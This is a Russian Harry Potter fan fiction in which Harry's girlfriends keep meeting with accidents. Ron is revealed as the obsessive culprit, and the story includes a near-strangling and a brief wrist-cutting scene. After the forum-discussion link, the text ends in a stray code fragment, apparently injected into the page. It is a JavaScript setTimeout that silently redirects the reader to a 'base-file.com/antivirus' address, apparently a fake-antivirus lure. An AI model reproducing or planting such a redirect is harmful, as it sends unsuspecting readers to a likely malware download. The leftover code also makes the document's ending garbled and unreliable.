Каллиграфия

Автор: Нюшка
Рейтинг: PG-13
Жанр:  драма? Не уверена.
Пейринг: не ставила себе целью интриговать н разглашать пока не буду))
Саммари: Как всегда -  всё от большой любви))
Коту Бегемоту на день рождения.!

Западный край неба коротко лизнула ещё одна розовая зарница, опередив раскат грома почти на минуту. Гроза неумолимо уходила, так и не пролившись дождём на измученный июльской жарой город.

Мало кто считал необходимым вытирать покрытые испариной лбы, а мокрые пятна на спине перестали быть преступлением против приличий. На плавящихся улицах подобные мелочи не стоили  внимания.  Вечер не принес облегчения. Слабая надежда на грозу, которая предупредила о своем приближении влажной духотой, не оправдалась  -  лишь молнии подразнили изнывающих людей красивым небесным шоу.

Сухая гроза.

Гарри чувствовал, как ползёт за ухом  капля пота. Было сложно сосредоточиться на плаксивом голосе в трубке антикварного  телефонного аппарата - хотелось скорее бросить её на рычаги и свалиться в кресло, чтобы обдумать все услышанное. Жара... И шок.

-  Да, миссис Аттикс... Конечно, миссис Аттикс...

- Что? – лениво спросил Рон Уизли. Гарри, избавившийся, наконец,  от трубки ответил другу таким взглядом, что разморенную ленцу Уизли мгновенно унесло. Он  подобрался и сразу стал похож на младшего аврора отдела преследования, коим и являлся. – Мерлин! Неужели...?

-   Да, - коротко ответил Гарри.    Китти  упала во дворе. Упала очень неудачно. У неё разбита щека.  А ещё она считает, что это я принёс ей несчастье. И встречаться  со мной больше не хочет.  Даже трубку не взяла, я все узнал у квартирной хозяйки...

Поттер тяжело задумался. Стоящий рядом Уизли,  хотел ладонью коснуться плеча друга, но вовремя остановил себя.  Лишь сжались в кулак пальцы.

- Что, Потти, не везёт?    издёвка  ввинтилась Гарри  в уши.

Гарри Поттер поворачивался на голос очень медленно. Очень-очень медленно. Потому, что боялся. Боялся расплескать мгновенно вскипевшее чёрное бешенство. Боялся   на этот раз не успеть удержать метнувшуюся к палочке руку... Каждый раз, наблюдая за томным движением, которым Драко Малфой откидывал со лба белую чёлку, слыша манерный голос, да и просто цепляясь  взглядом за долговязую фигуру, Гарри испытывал единственное желание.  Убить.  Желание это практически сразу   сменялось полным равнодушием и пониманием – не вернёшь. Даже если Малфой задёргается в агонии, а по полу расползётся  лужа крови,  это не вернёт ни Билла, ни Невилля, ни Дина.  Никого из сотен знакомых и незнакомых людей. И  Альбуса не вернёт.

Да и не стоит белобрысый хорёк собственной  загубленной жизни. Вот если бы под руку попался Снейп...  Впрочем, там тоже было не всё ясно.  После странного действа, которое теперь именовалось последней битвой, Поттер, плоховато соображая, валялся в госпитале. Именно тогда  Рон рассказал ему невнятную, но интересную историю. Повествовала она о найденном в слизеринском подвале трупе, и о том, что вроде бы труп, в те времена,  когда трупом ещё не стал, был профессором зельеварения Северусом Снейпом. А ещё сообщала странная недостоверная сказка о том, что трупом профессор стал гораздо раньше того дня, когда погиб профессор Дамблдор. Стало быть, в смерти директора Хогвартса  теоретически можно было обвинять любого человека из шести миллиардов живущих на планете.  Одного из шести миллиардов. Того, в чьём кармане завалялся пузырёк с всеэссенцией и пара сальных волосков. Через  столько лет вычислить, в чьём именно кармане водилось такое аппетитное содержимое,  возможным не представлялось...  Так что  -  чёрт с  ним со  Снейпом. И со всеми Малфоями мира тоже – чёрт.

После победы над Вольдемортом пришлось слишком многое отстраивать заново – например, пришлось почти с нуля комплектовать аврорат. И вовсе не из-за того, что  старый состав ушёл на пенсию.  Смерть не обошла вниманием и поколение, к которому принадлежал Поттер, но молодость всегда имеет чуть больше шансов выжить. И она эти шансы использует.

Гарри Поттер занял кресло начальника отдела раскрытия и преследования аврората  и успел посидеть на этом отнюдь неуютном месте пару месяцев.  Именно столько  ему понадобилось времени,  чтобы понять:  без слизеринцев аврорату не обойтись.  Оказывается, для преследования, а тем более для раскрытия,  отваги, решительности и даже ума было маловато. Нужна была хитрость, нужна была хватка, нужны были связи. Значит – нужны были воспитанники змеиного факультета.

Но почему? Почему  из всех слизеринцев мира – которых, кстати, осталось в живых не так уж мало – в отдел Гарри попал именно полностью оправданный судом Малфой...?!

-   Пошёл, ты, Малфой, – негромко, но веско проговорил Гарри.

-    Знаменитому Гарри Поттеру, спасителю колдовского мира не везёт! – провозгласил Драко. -  Он так и умрёт грёбаным девственником. Он никак не может подцепить подружку. Ха! Вернее,  несчастная, согласившаяся стать его подружкой, рискует подцепить... О, назовем это вирусом несчастий. Или  - бациллой  неудач...

-  Малфой, - сказал Рон, неторопливо подходя к слизеринцу. 

За минувшие с хогвартских времён годы, Рон Уизли нарастил кое-какую мускулатуру. И теперь ему было плевать, что он не так ловко управляется с волшебной палочкой, как Гарри Поттер. Преступники не всегда успевали вытащить свои палочки: слишком стремительно на них наваливалась тяжесть тела Уизли – несмотря на габариты, двигался аврор безошибочно и молниеносно.

-  Малфой, -  из-за стола, стоящего возле окна,  ослепительно улыбнулась Джинни Уизли.

 Ни тон Рона, ни улыбка Джинни  ничего приятного  слизеринцу  не обещали. Тот это мгновенно понял.

-  Ушёл, - пропел бывший аристократ Малфой («А вот интересно, бывают ли аристократы бывшими?»,  – мимолетно задумался Гарри)  и дезапппарировал.

Рон явственно скрипнул зубами, Джинни вполголоса по-мужски выругалась, а Гарри с размаху стукнул  ладонью по столу. Не помогло. Фразочка белокурой сволочи сделала своё дело, Гарри задумался о своём  хроническом невезении, ставшем дежурной шуткой аврората.

Присси Хемплтон исчезла в тот самый день, когда Гарри решился назначить ей третье свидание. То самое, ответственейшее свидание, на котором влюблённая парочка, наконец,  решается на нечто большее, нежели невиннейший поцелуй.  Исчезновение своё девушка внятно объяснить затруднялась. Её неуверенное бормотание о каком-то шальном порт-ключе, который попался ей  - о, ужас -  среди выложенных на лотке зеленщика лимонов, достойным доверия не сочли. Потому что вернулась Присси не одна. Сопровождающего её мускулистого красавца роднил с Гарри только цвет угольно-чёрной шевелюры. Говорили, что Присси и красавец три дня после возвращения не выходили из номера мотеля...

Труди Голд, накануне Того Самого Свидания, подхватила ангину.  Очень просто – было жарко, предложенное незнакомцем в баре мороженное выглядело умопомрачительно. А Труди  против мороженного никогда не могла устоять. А дежурным в отделении Банальных Болезней клиники святого Мунго был доктор Хевистон.   А во времена,  когда доктор Хевистон  был просто Дином, Труди Голд была в него отчаянно и безнадёжно влюблена... И теперь ей показалось, что ангина предоставила шикарный шанс, упускать который нельзя. Что значат  ещё неокрепшие отношения, пусть и с самим Гарри Поттером, рядом с нержавеющей первой любовью?

И Анни Лоуренс  не дотянула до третьего свидания.  Правда, ей не так повезло как её предшественницам: сложное заклятие, лишившее её воли,  сработало, когда девушка  надевала на запястье маггловские часы – забавную штуку, вошедшую в моду в мире магов. Часы были доставлены семейной совой, и девушка даже не засомневалась, что это подарок матери... В клинике святого Мунго всё ещё надеялись на излечение. А  в аврорате все ещё рыли землю, чтобы найти неизвестного «дарителя». Поскольку Анни работала у прокурора, покушение связали с профессиональной деятельностью.

Китти Хоуп  не работала в структурах связанных с авроратом или прокуратурой. Китти  Хоуп никогда  - вообще никогда! -   не ела мороженное, потому,  что пела и берегла горло. Китти Хоуп не любила лимоны. И Китти Хоуп упала на ровнейшем месте в центре собственного двора. О судьбе, постигшей её предшественниц, она знала и решила уберечь свою жизнь и здоровье самым простым способом – бросить Гарри Поттера на произвол судьбы...

А вы говорите репутация... Страшное это дело. Особенно, если к её созданию, прикладывает руку умная сволочь вроде Малфоя...

Элси была миленькой шатенкой.

Не то, чтобы Гарри был в неё влюблён – как вообще можно влюбиться до третьего свидания? – просто... Просто нужно же было с кем-то встречаться?  Два первых свидания были не слишком удачными, и Гарри уже начал догадываться, что из этих отношений ничего не получится.  Он решил объявить Элси об этом на третьей встрече, вот только...Вот только Элси сломала ногу. На том самом месте, о котором...

Впрочем, вчерашний вечер стоило вспомнить тщательнее, слишком уж много совпадений закрутилось вокруг ничтожного Гарри Поттера. Нужно быть исключительно самонадеянным, чтобы думать, что он умудрился чем-то напакостить абстрактной судьбе. Гарри же манией величия не страдал, и  начал думать, что он чем-то сильно допёк вполне конкретному лицу.

Небольшая вечеринка у  Треворсов  была очень  даже ничего — вполне развлекала. И отвлекала от мыслей о том, что через час нужно будет войти в собственную квартиру.  Гарри всегда старательно оттягивал этот момент – скрип ключа в замке,  распахнутую в темноту дверь и запах. Тонкий, на грани уловимости запах нежилого помещения. Гарри старался сразу пройтись по квартире и включить все лампы.  Только после этого помещение приобретало вид хоть отдалённо напоминающее дом. Тёплый дом, где кто-то живёт.

Сначала, в первые месяцы после окончания школы авроров и поступления  на работу в Министерство,  Гарри сделал попытку пожить в колдовском мире. И очень чётко понял, что свечам предпочитает электричество. Потому  что, когда в пустых комнатах дома на Гриммонд-плейс загорались свечи,  и тени  начинали тихое шевеление в тёмных углах, на душе становилось совсем муторно. Более ровный и холодный электрический свет избавлял Гарри Поттера хоть от сомнительного удовольствия наблюдать, как тени, собираясь небольшими компаниями, о чём-то шептались.  А если ещё и телевизор включить, жизнь становилась почти сносной.

Вот и вчера Гарри с тоской думал о предстоящем одиноком ужине. Прикинув шансы, он подумал, что затащить Элси на ночь к себе не удастся. Значит, придётся поужинать  и завалиться спать.

Элси работала в аналитическом отделе аврората и считалась хорошим специалистом.  Пророчицей она не была, но просчитать варианты обозримого будущего и пути развития ситуации она могла блестяще. Элси считалась умным и многообещающим работником.

Теперь, когда Гарри познакомился с ней поближе, он мог только изумляться: как можно быть такой умницей и при этом  - такой дурой?  Ни единой мысли не было в пустом щебете, которым Элси наполняла воздух. В первый же вечер Гарри научился пропускать мимо ушей почти всё, что девушка ему говорила. Да ей и не нужен был слушатель. То же самое удовольствие от вечера она получала бы, если бы весь вечер вещала, обращаясь к канделябру на стене.

Правда, Элси отлично танцевала.  И изгибы её тела под руками не оставляли Гарри равнодушным. Но тащить девушку в постель в первый же вечер Гарри считал моветоном. И во второй вечер – тоже. Поэтому пришлось гулять по парку, думать о своём, да изредка вставлять в монологи Элси ободрительно мычание. Впрочем, направление, которое приобрёл разговор, на несколько минут вырвало Гарри из задумчивости...

-  Я всегда боюсь идти через этот парк,  – в голосе девушки был самый настоящий страх. – Тут так темно вечерами. И у меня такое чувство, что со мной что-то случится. Именно здесь, на этом самом месте.

Гарри никогда не считал предчувствия глупостью и настроился было расспросить Элси поподробнее о её ощущениях. Однако, причудливая мысль Элси (вернее, её бойкий язык) перескочили на вещи более приятные: на тенденции к укорачиванию мантий, проявившиеся в этом году. Гарри снова почти отключился и пришёл в себя только минут через  двадцать, когда знакомый  высокий голос протянул:

- О, господин начальник отдела...

Гарри привычно подавил острый деструктивный порыв...

- Малфой –  сквозь зубы приветствовал он подчинённого. Но Драко уже переключился на Элси.

-   О, мисс, – проворковал Драко.  - Вы само совершенство. Если только ваши отношения с господином начальником не сложатся, не обратите ли Вы благосклонный  взгляд на ничтожнейшего из  его подчинённых?

Элси смущалась и краснела (девушки всегда вели себя так с Малфоем), Гарри чувствовал нарастающее раздражение и думал, что Малфоя всё-таки стоит прибить.

Тот  безошибочно ощутил состояние Поттера.

- Исчезаю. Испаряюсь.  Растворяюсь, - насмешливо проговорил Малфой. – Молюсь за тебя, хоть бы на этот раз у тебя получилось...

И действительно исчез. А бешенство Гарри никуда не девалось. Он смог немного успокоится только поздним вечером, рассказав обо всём Рону и Джинни за кружкой сливочного пива... Рон хмыкнул и потрепал друга по плечу, а Джинни выразительно покрутила пальцем у виска. И где она умудрилась подхватить этот маггловский жест?

И вот теперь Элси сломала ногу. И именно на том самом месте, которого так боялась вчера!

Внезапно Гарри выпрямился и замер в напряжённой позе, словно взявшая след гончая...

Малфой!

Он всегда попадался Гарри в самые неожиданные моменты. Гарри вспомнил, что, гуляя с Присси, он пару раз испытывал знакомое желание, которое являлось результатом присутствия  Малфоя в радиусе десятка метров.

Когда Труди рассказывала ему о том, как на неё действуют пломбирные шарики, худощавый силуэт, кажется, тоже мелькал неподалеку.

В танце, касаясь щекой золотистой макушки Анни, Гарри с мгновенным раздражением  заметил за столиком в баре все того же Малфоя.

Китти... Нет, он не мог сказать ничего определённого. Ну, это  было и не важно. Ведь если Гарри чего-то не вспомнил, это совсем не означало, что ничего такого не произошло.

Этот хорёк, эта сволочь, это дерьмо...

- Гарри, ты куда? – потрясённо воскликнул Рон,

- Убивать Малфоя, -  успел бросить Гарри исчезая. Знакомый рывок...

Гарри шагнул к Малфою: единственный мягкий, длинный шаг.

На мгновение дикая радость захлестнула с головой, заставила душу забиться в экстазе почти детского восторга. Есть ли свете что-то прекраснее исполнения мечты? Сейчас, сейчас Гарри сделает одно резкое движение, и безвольное тело с нелепо вывернутой шеей упадёт на пол. Гарри уже слышал глухой звук,  с которым стукнется о камни белокурая голова...

Легко подалось белое горло...

Это отрезвило, заставило захлебнуться стыдом.

-  Гарри. Отпусти его, отпусти... -  голос Рона.

За голос Рона нужно держаться. Рон всегда рядом, он поможет, он спасёт. Даже из этого урагана эмоций вытащит...

Руки сами разжались. Поттер  пустым взглядом смотрел в угол, не обращая внимания, как бледный Малфой, не в силах подняться на ноги по-змеиному отползает к двери. Не радовало даже мокрое пятно сзади на мантии извечного врага.

-  Это не он,  - негромко проговорил Рон.

-  Не он, - тупо повторил Гарри.

-   Я проверил... Это не он. Алиби, стопроцентное. На два из четырёх случаев. Он был на задании с моей группой.

-   А ведь я его чуть не убил,    растерянно проговорил Гарри. -  Чуть не убил...

Рон подошел ближе, заглянул в лицо друга.

-   Гарри, это случайности. Просто – случайности. Никто не виноват.

С тех пор прошёл почти год. Малфой мог подать жалобу на действия Гарри, но почему-то не подал. Просто молча перевёлся в другой отдел. Да и вообще стушевался: не было ехидных реплик, не было случайных встреч. Вообще ничего не было. В душе Гарри поселилась такая пустота, что он порой жалел о приступах бешенства, вызываемых Малфоем. Со временем он привык к отсутствию эмоций и холодному покою внутри. И даже снова сделал попытку встретиться с девушкой. Нужно же ему было с кем-то идти на Рождественский бал при Министерстве? Не то, чтобы его волновали эти слухи о нём, которые ползли по всем отделам аврората... Да и против геев он ничего не имел... Но всё-таки твёрдо решил пойти на бал с хорошенькой Дейзи.

Бал был назначен на сегодняшний вечер, платье для девушки заказано, смокинг для Гарри взят на прокат и всё шло очень даже хорошо.

Поэтому, когда телефон  резким голосом маменьки Дейзи объявил о кишечном расстройстве, постигшем её дочь, Гарри Поттер ощутил прилив эмоций. И первой об этом узнала телефонная трубка.  Но оценить степень ярости Поттера она не успела, превращаясь в мелкие осколки на полу.

- Что случилось? – воскликнул Рон, хватая друга за руки. Испуганно вскрикнула Джинни.

-    Догадайся с трёх раз,  – сквозь зубы прохрипел Гарри.

-   О, чёрт!  Снова твое долбаное везение!

Страшная гибель трубки немного успокоила Поттера,  и он рухнул в кресло. Теперь Гарри совсем не нравилась Дейзи – столь неромантичная причина, как кишечное расстройство быстро убивала любое нежное чувство. Но...

-  Скажи мне ради Мерлина. С кем мне теперь идти на Рождественский бал? – отчаянно проговорил Гарри.

Взгляд внезапно упал на  Джинни... Вспомнилась школа. Шестой курс. Так славно начинавшиеся и так неожиданно оборванные отношения....

-  Эй, Джинн? А тебя уже кто-то пригласил?

Щёки Джинни вспыхнули.

Алым.

-    О, Мерлин! Какой же я идиот!  Это и правда была судьба, -  Гарри Поттер лежал в широкой кровати рядом с Джинни Уизли, приживаясь щекой к её рыженькой макушке. Им не понадобилось третье свидание. Им не понадобилось даже второе. Где-то шумел министерский рождественский бал, но для них двоих существовали только комната в мотеле и то странное, неземное, что произошло между ними только что.

-  Рон правду говорил - это судьба. Она меня хранила от ошибок. Просто ты -  та единственная... А я, дурак,  искал кого-то ещё. Какое счастье, что вмешалась судьба, и я не успел совершить ничего непоправимого.

Девяти лет словно  не было. Гарри снова был отчаянно влюблённым подростком. Он понимал, что на самом деле любил Джинни, только её, и никого кроме неё не существовало в его жизни.

- Ох, Гарри. А я так ждала. Смотрела на них всех и ждала...

-  Я тебя измучил? Наверное, тебе было ужасно...

-  Я уже всё забыла. Этих лет не было. Мы можем начать сначала. Мы можем быть вместе.

- Я не буду даже тянуть... Мы ведь достаточно долго знакомы? Ты ведь за меня замуж выйдешь?

-  Ох, Гарри. Ну разве так предложения делают? Хоть бы оделся.

- Ну... Я приду к вам вечером. Ну и стану на одно колено и всё такое... Ты только ответь мне сейчас. Да или нет?

-   Да!

Гарри никогда не видел Рона таким расстроенным.

Конечно, в данный момент Поттера больше всего волновало, как сидит новенький костюм, и угадал ли он любимые цветы Молли Уизли  (О, Мерлин, теперь миссис Уизли станет его тещей!), но на подавленный вид Рона Гарри всё-таки среагировал:

-    Что случилось?  - на самом деле он не очень-то хотел слышать ответ. Смутная тревога просочилась в сердце и начала его болезненно подгрызать.

Рон взглянул на Гарри совершенно больными глазами и кивнул на дверь своей комнаты.

Потом началось то, что Гарри всегда помнил как один из самых худших кошмаров своей жизни. А для того, чтобы кошмар занял достойное место в ряду других кошмаров Гарри Поттера, ему  нужно было хорошо  потрудиться.

Рон метался по маленькой комнате: молча и отчаянно. Он, живший в этой комнате два с половиной десятка лет, внезапно перестал в ней ориентироваться – словно слепой натыкался на вещи, сильно ударил руку об угол стола, но даже не обратил внимания на сразу же налившийся синяк...

Теперь Гарри ощущал самый настоящий страх.

Внезапно Рон остановился –  лицо стало спокойнее, словно Уизли принял решение, и это сняло с его плеч половину груза.

-  Мы нашли того, кто отправил Анни  часы. У нас это заняло много времени. Мы просто не там искали, - в голосе Рона звучала тоска. Он протянул Гарри пергамент.

-  Это список покупателей лавки маггловских предметов. Той самой лавки. А красным... Тот самый покупатель...

Гарри сразу бросилось в глаза очёркнутое красным карандашом имя.

Джинни Уизли.

Почему-то Гарри Поттер  не отправился домой. Вернее отправился именно домой  - на Гриммонд-плейс. К Сириусу. Пляшущие на стенах тени, ворчание Критчета, сарказм портрета миссис Блэк... Сейчас всё это проходило мимо сознания. А всё существо было охвачено отчаянием и тоской. Ведь он нашел счастье, ведь нашел же... И -  потерял.

Сейчас его не интересовали пострадавшие девушки, не интересовало то, что Джинни в глазах закона преступница. Самым главным было отвратительное ощущение отобранного подарка.  Ведь ему уже подарили это! Ведь он уже видел и тёплый дом, и детей, и даже звонкоголосого пса во дворе и сидящего на буфете, томного зеленоглазого кота. А потом всё это  уже такое своё, такое необходимое исчезло, растворилось  кислотой реальности.

В доме он больше всего любил комнату, в которой Сириус жил ребёнком. Сам  Гарри там не ночевал никогда, но когда за горло хватала тоска, он  ложился на узкую постель и, уткнувшись лицом в подушку,  начинал неспешный разговор с мёртвым крёстным. Это всегда помогало упорядочить мысли, разобраться с чувствами. Всегда, но не сейчас. Сейчас взвесь эмоций в душе не желала оседать. Гарри задумался так, что даже не слышал как в комнату аппарировал Рон.

Странно, но когда Поттер осознал присутствие в комнате другого человека, то совсем не испугался. Он чувствовал, что это Рон. Он всегда узнавал друга,  даже не глядя.

-   Ты не сердись на неё. Ну ты же знаешь, она всегда любила тебя, а тут ты девушек менять начал, вот она и...

-  И что теперь будет? – глухо спросил Гарри, не поворачиваясь к Рону.

-  Ну... Арестовать придётся, конечно. Делу же дан ход... Эх, никак нельзя прикрыть... Ну а наказание... Обойдётся чем-то мелким. Она ведь, понимаешь ли, явно не в себе. Придумаем что-то с клиникой святого Мунго...

-  Нет, ты не понял, - тоскливо пробормотал Гарри. – Что теперь будет со мной? Если даже Джинни оказалась просто... тварью... Кому теперь верить?

Рон ласково погладил Гарри по голове, и внезапно этот простой так не свойственный их отношениям жест  утешил,  успокоил рвущееся сердце.

- Гарри, - голос Рона странно дрогнул. – Женщины... Они все такие. Ты никогда не думал...?

Рон замолчал.

-   Не думал о чём? – облизнув губы, спросил Гарри. Снова, в который раз за сегодняшний день, со звоном разбивалось привычное мироощущение.

Уизли лёг на постель рядом и без усилий повернул Гарри к себе лицом.

- Обо мне,  - выдохнул Рон прямо в сомкнутые губы Поттера, потом коснулся, обвёл языком контур...

-  Об этом, – пробормотал Рон, и как непохож был этот нежный шёпот на обычный голос человека, которого Гарри всегда считал другом.

«А почему нет?», – подумал Гарри и приоткрыл губы, пропуская горячий язык... Было приятно. Так приятно, что он не сразу сообразил, что в проёме распахнутой двери стоит Джинни и смотрит на них широко открытыми мёртвыми глазами. В тот момент, когда Гарри понял, что ему не мерещится, дверь уже захлопнулась. Поттер рванулся, но его удержали твёрдые руки Рона. Гарри заглянул в лицо другу и догадался -   тот видел Джинни. Гарри понял это по взгляду, которым Рон смотрел на закрытую дверь. По довольному, победному взгляду...

 Ну, да у Гарри Поттера порой случалось что-то вроде озарений. Вот одно из них его и настигло. Лучше же поздно, чем никогда?

-  Это не она. Это – ты. Правда? Это же ...ты...

-  Да, – спокойно ответил Рон, переводя взгляд на Гарри. Потом его спокойствие разбилось, и Уизли заговорил, лихорадочно проглатывая окончания слов:

- Зачем они тебе? Ну зачем они тебе? Ведь у тебя есть я, я всегда рядом. И я люблю тебя уже так давно, так давно. А ты все ищешь и ищешь... Все ждал – ты посмотришь на меня... А ты??  Я не одам тебя, – внезапно закричал Рон.

Горячие слова лились в уши, раскалённые губы касались шеи, ключиц, груди. Гарри растворялся в этом огне, Гарри поддавался, Гарри думал: «Ну, вот же оно. Я же хотел, чтобы меня любили. И меня любят. Да ещё как.  Не всякому дается вот такое –  безумная любовь».

Внезапно он перестал  слышать, что говорит Рон. Гарри  ясно, до ломоты в висках,  увидел всю сцену со стороны, так  как увидела её Джинни.

Свечи, балдахин, ковры, гардины – вся эта дешёвая подделка под романтику и викторианство. И на фоне этой пустой фальшивки, на постели с высокой спинкой, брат Джинни целуется с её любимым...

Гарри даже знал, что произойдёт теперь.

- Джинни!  -  дёрнулся он,  разрывая кольцо рук Рона.

В ванной комнате,  расположенной  этажом ниже,  Джинни, глядя в глаза своему отражению,  решительно нарисовала лезвием алую полосу на запястье.

На буфете намывала гостей Мисси. В льющихся в окно лучах солнца, её глаза посвёркивали изумрудом. Кошка предусмотрительно не теряла из поля зрения хозяев. Внешне расслабленная и уверенная, она лелеяла в кошачьей душе холодную обиду – как они могли? Как они посмели притащить в Её дом эту постоянно  брешущую шавку? Бонзо, надо же! Какая безвкусица, какое отсутствие стиля. Мисси выгнула спину, потянулась и с абсолютно независимым видом выпрыгнула в сад, точно зная, что сегодня вечером хозяйке придётся поискать её. И поволноваться...

- Нев, Хлоя  - собираться в школу. Экспресс вас не будет ждать. Нужно ещё добираться до Кингс-кросс, - голос Джинни Поттер был  ласков, но непреклонен.

Гарри  поймал себя на том, что сам чуть не заметался в поисках чемодана и клетки с совой, только через мгновение вспомнив, что он уже не студент Хогвартса, а самый молодой в истории Министр Магии.

- Колин, душечка, ты уже скушал кашку? - голос Джинни волшебно изменился (а как ещё должен меняться голос колдуньи, как не волшебно?). Теперь она ворковала. – Нет, малыш, это мы тебе не дадим, – сказала Джинни, когда шустрый малыш вцепился липкими ручонками в широкий браслет на её запястье.

Гарри удалось вставить несколько слов:

-  Джинни ты будешь сопровождать меня сегодня на...?

- Нет, - не дослушав, сказала Джинни. – ты же знаешь. Я сегодня должна идти... туда

Вспоминая,  Гарри даже сейчас испытывал  боль.

-   И не надоело тебе? - холодно бросил он, внутренне умирая от стыда. Сам он так  и не нашёл в себе силы простить.

- Нет,  - Джинни глянула на мужа светло и спокойно. – Он же мой брат. Я буду с ним всегда.

Это был неопасный больной.  Он никому не причинял вреда: просто сидел целыми днями за  столом и покрывал пергамент ровными строчками. Он был уверен: если написать это имя достаточное количество раз и как можно каллиграфичнее, всё наладится.

«Гарри, Гарри, Гарри, Гарри, Гарри, Гарри, Гарри, Гарри, Гарри, Гарри...»

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>